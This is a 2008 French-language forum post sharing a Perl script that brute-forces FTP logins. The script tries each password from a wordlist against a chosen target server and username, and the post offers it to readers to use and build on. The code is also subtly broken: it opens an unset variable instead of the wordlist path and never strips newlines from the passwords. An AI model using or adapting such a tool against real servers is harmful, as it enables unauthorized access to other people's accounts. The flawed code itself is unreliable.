Simple FTP Brute Force

Moderator: Mod

Simple FTP Brute Force

Postby kmkz » Sat Jul 26, 2008 4:13 pm

Yop :-)

Ca fait longtemp que j'ai pas posté de code donc en voici un petit .
Ce code permettra ( je l'espere) a certains de comprendre et leur donnera quelques idées de code a réaliser.
[code:1:f9922a6cdc]
#!/usr/bin/perl



use Net::FTP;


(($server = $ARGV[0])) || die "usage:$0 <target> ";

print "\n [~] User a tester : \n";
chomp($user = <STDIN>);
print "\n [~] Path Du Dictionnaire a utiliser : ";
my $list=<STDIN>;
print "\n---_ Brute Forçing en cours......\n";


$ftp = Net::FTP->new("$server");
die "\nCould not connect: $!" unless $ftp;

open (PASSFILE,"$pwd") or die "\n !-Erreur a l'ouverture du Dictionnaire-!\n";
my @PASSWORDS = <PASSFILE>;
close PASSFILE;

foreach $pwd ( @PASSWORDS ) {
$pass = $pwd;




if($ftp->login("$user","$pass"))
{
print "\n -> $pass is the password for user : $user !\n";
die " [~] Bruteforcing : Successfull ! \n\n";
}


}
$ftp->quit();[/code:1:f9922a6cdc]

Enjoy!
User avatar
kmkz
Projets
 
Posts: 120
Joined: Wed Feb 06, 2008 1:25 pm
Location: Carcassonne, Toulouse

Return to Perl

Who is online

Users browsing this forum: No registered users and 2 guests

cron